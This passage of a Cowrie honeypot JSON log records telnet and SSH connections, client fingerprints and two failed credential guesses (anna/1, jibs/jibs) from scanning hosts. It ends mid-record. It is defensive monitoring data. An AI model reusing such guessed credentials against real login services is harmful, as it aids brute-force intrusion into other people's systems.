{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50792,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb85a1ace18a","protocol":"telnet","message":"New connection: 23.254.167.244:50792 (159.203.135.109:23) [session: eb85a1ace18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:22.922701Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:23.138632Z","src_ip":"157.66.34.121","session":"ea2d7e50c5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76043176651001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:23.363452Z","src_ip":"114.23.51.89","session":"7d2f8b447ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51666,"dst_ip":"159.203.135.109","dst_port":23,"session":"518fb090e99d","protocol":"telnet","message":"New connection: 23.254.167.244:51666 (159.203.135.109:23) [session: 518fb090e99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:24.050560Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ae14b5ce461","protocol":"telnet","message":"New connection: 209.159.146.115:44330 (159.203.135.109:23) [session: 5ae14b5ce461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:24.118301Z"}
{"eventid":"cowrie.session.closed","duration":30.83550238609314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:24.464114Z","src_ip":"209.159.146.115","session":"f87a00220311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44730,"dst_ip":"159.203.135.109","dst_port":23,"session":"575a8ef213a9","protocol":"telnet","message":"New connection: 114.23.51.89:44730 (159.203.135.109:23) [session: 575a8ef213a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:24.963146Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"8248ea5eadc2","protocol":"telnet","message":"New connection: 114.23.51.89:44738 (159.203.135.109:23) [session: 8248ea5eadc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:25.923007Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44742,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dddc90a05d2","protocol":"telnet","message":"New connection: 114.23.51.89:44742 (159.203.135.109:23) [session: 7dddc90a05d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:26.755213Z"}
{"eventid":"cowrie.session.closed","duration":37.139079332351685,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:27.716775Z","src_ip":"23.254.167.244","session":"3a151dea5b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95330548286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:28.215867Z","src_ip":"114.23.51.89","session":"b3380818be70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.413602113723755,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:29.056795Z","src_ip":"23.254.167.244","session":"dd7b3c2c1170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a09193d61862","protocol":"telnet","message":"New connection: 23.254.167.244:56838 (159.203.135.109:23) [session: a09193d61862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:29.465254Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39966,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed0c0c58b7f","protocol":"telnet","message":"New connection: 209.159.146.115:39966 (159.203.135.109:23) [session: 4ed0c0c58b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:29.483080Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58054,"dst_ip":"159.203.135.109","dst_port":23,"session":"230369283f81","protocol":"telnet","message":"New connection: 23.254.167.244:58054 (159.203.135.109:23) [session: 230369283f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:30.681174Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40362,"dst_ip":"159.203.135.109","dst_port":23,"session":"576d731ffcda","protocol":"telnet","message":"New connection: 114.23.51.89:40362 (159.203.135.109:23) [session: 576d731ffcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:30.981152Z"}
{"eventid":"cowrie.session.closed","duration":32.47025012969971,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:33.076092Z","src_ip":"114.23.51.89","session":"f399fb0ecbd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2a7bc7a1da","protocol":"telnet","message":"New connection: 114.23.51.89:40376 (159.203.135.109:23) [session: 7d2a7bc7a1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:33.482584Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33928,"dst_ip":"159.203.135.109","dst_port":23,"session":"62855044d993","protocol":"telnet","message":"New connection: 23.254.167.244:33928 (159.203.135.109:23) [session: 62855044d993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:33.825205Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40392,"dst_ip":"159.203.135.109","dst_port":23,"session":"832c637e823c","protocol":"telnet","message":"New connection: 114.23.51.89:40392 (159.203.135.109:23) [session: 832c637e823c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.019031Z"}
{"eventid":"cowrie.session.closed","duration":30.64252233505249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.417170Z","src_ip":"114.23.51.89","session":"3d079974e9c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.87684082984924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.427127Z","src_ip":"23.254.167.244","session":"48805b73a832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.838053703308105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.436018Z","src_ip":"23.254.167.244","session":"a68b7d1ac4ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47264,"dst_ip":"159.203.135.109","dst_port":22,"session":"d326ee4c3502","protocol":"ssh","message":"New connection: 159.203.92.129:47264 (159.203.135.109:22) [session: d326ee4c3502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.610891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.616318Z","src_ip":"159.203.92.129","session":"d326ee4c3502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.621217Z","src_ip":"159.203.92.129","session":"d326ee4c3502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"1","message":"login attempt [anna/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:34.632752Z","src_ip":"159.203.92.129","session":"d326ee4c3502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00263023376465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.182697Z","src_ip":"23.254.167.244","session":"6c9f2a51b7d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78a0ca0893c","protocol":"ssh","message":"New connection: 80.94.92.182:37994 (10.17.0.5:22) [session: b78a0ca0893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.569204Z"}
{"eventid":"cowrie.session.closed","duration":30.924968004226685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.578186Z","src_ip":"114.23.51.89","session":"cf3208e28f55","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.596253Z","src_ip":"80.94.92.182","session":"b78a0ca0893c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.640700Z","src_ip":"159.203.92.129","session":"d326ee4c3502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.797726Z","src_ip":"80.94.92.182","session":"b78a0ca0893c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40404,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c16c7b92e1","protocol":"telnet","message":"New connection: 114.23.51.89:40404 (159.203.135.109:23) [session: 54c16c7b92e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:35.889243Z"}
{"eventid":"cowrie.login.failed","username":"jibs","password":"jibs","message":"login attempt [jibs/jibs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:36.547810Z","src_ip":"80.94.92.182","session":"b78a0ca0893c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.318310499191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:37.065099Z","src_ip":"114.23.51.89","session":"c8640682422e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171729803085327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:37.607224Z","src_ip":"114.23.51.89","session":"05f097f394ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:37.671478Z","src_ip":"80.94.92.182","session":"b78a0ca0893c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c729bbe6afbf","protocol":"telnet","message":"New connection: 185.207.250.135:46692 (159.203.135.109:23) [session: c729bbe6afbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:40.476198Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":48414,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc011b15dd21","protocol":"telnet","message":"New connection: 185.207.250.135:48414 (159.203.135.109:23) [session: cc011b15dd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:41.755011Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":48578,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b3e7c2b847","protocol":"telnet","message":"New connection: 185.207.250.135:48578 (159.203.135.109:23) [session: 47b3e7c2b847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:41.876236Z"}
{"eventid":"cowrie.session.closed","duration":33.21779012680054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:43.462043Z","src_ip":"23.254.167.244","session":"391032e9a1c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80819582939148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:44.439323Z","src_ip":"114.23.51.89","session":"df981d7c76d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.530720472335815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:44.596754Z","src_ip":"114.23.51.89","session":"7b63309eee8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13060164451599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:44.709723Z","src_ip":"114.23.51.89","session":"74b1c0c47693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45458,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ab1a106846","protocol":"telnet","message":"New connection: 23.254.167.244:45458 (159.203.135.109:23) [session: 65ab1a106846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:44.862116Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44e592cc687","protocol":"telnet","message":"New connection: 209.159.146.115:40730 (159.203.135.109:23) [session: b44e592cc687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:45.358450Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57840,"dst_ip":"159.203.135.109","dst_port":23,"session":"663116c1aec0","protocol":"telnet","message":"New connection: 114.23.51.89:57840 (159.203.135.109:23) [session: 663116c1aec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:45.999488Z"}
{"eventid":"cowrie.session.closed","duration":31.32351303100586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:48.136033Z","src_ip":"23.254.167.244","session":"120a604a081a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.60521197319031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:48.578488Z","src_ip":"23.254.167.244","session":"6ff76b921774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49956,"dst_ip":"159.203.135.109","dst_port":23,"session":"deeeab96fe28","protocol":"telnet","message":"New connection: 23.254.167.244:49956 (159.203.135.109:23) [session: deeeab96fe28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:48.651334Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50066,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cfbafa99f69","protocol":"telnet","message":"New connection: 23.254.167.244:50066 (159.203.135.109:23) [session: 5cfbafa99f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:48.724917Z"}
{"eventid":"cowrie.session.closed","duration":31.590075731277466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:49.623517Z","src_ip":"114.23.51.89","session":"236ae0e57c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71044421195984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:50.488683Z","src_ip":"114.23.51.89","session":"c2398c18c6ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52156,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc87861be35","protocol":"telnet","message":"New connection: 23.254.167.244:52156 (159.203.135.109:23) [session: 2fc87861be35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:51.924573Z"}
{"eventid":"cowrie.session.closed","duration":31.798903465270996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:52.779396Z","src_ip":"114.23.51.89","session":"9b45ef44e2eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54398,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9c5b190241","protocol":"telnet","message":"New connection: 23.254.167.244:54398 (159.203.135.109:23) [session: ee9c5b190241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:53.557306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54474,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0bf33534333","protocol":"telnet","message":"New connection: 23.254.167.244:54474 (159.203.135.109:23) [session: e0bf33534333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:53.601989Z"}
{"eventid":"cowrie.session.closed","duration":37.18934679031372,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:53.765746Z","src_ip":"23.254.167.244","session":"73b3f5ce172b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":35750,"dst_ip":"159.203.135.109","dst_port":23,"session":"688c59288369","protocol":"telnet","message":"New connection: 185.207.250.135:35750 (159.203.135.109:23) [session: 688c59288369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:54.086271Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55008,"dst_ip":"159.203.135.109","dst_port":23,"session":"c94342d6c47f","protocol":"telnet","message":"New connection: 23.254.167.244:55008 (159.203.135.109:23) [session: c94342d6c47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:54.241431Z"}
{"eventid":"cowrie.session.closed","duration":30.963677883148193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:55.081856Z","src_ip":"209.159.146.115","session":"5ae14b5ce461","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04827880859375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:55.280913Z","src_ip":"209.159.146.115","session":"01796ab0b9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322314023971558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.245210Z","src_ip":"114.23.51.89","session":"8248ea5eadc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55864,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0d1276c48d9","protocol":"telnet","message":"New connection: 23.254.167.244:55864 (159.203.135.109:23) [session: e0d1276c48d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.273184Z"}
{"eventid":"cowrie.session.closed","duration":31.4826180934906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.445647Z","src_ip":"114.23.51.89","session":"575a8ef213a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":42706,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc0870f61426","protocol":"ssh","message":"New connection: 20.244.18.126:42706 (10.17.0.5:22) [session: cc0870f61426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.527776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.532341Z","src_ip":"20.244.18.126","session":"cc0870f61426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffi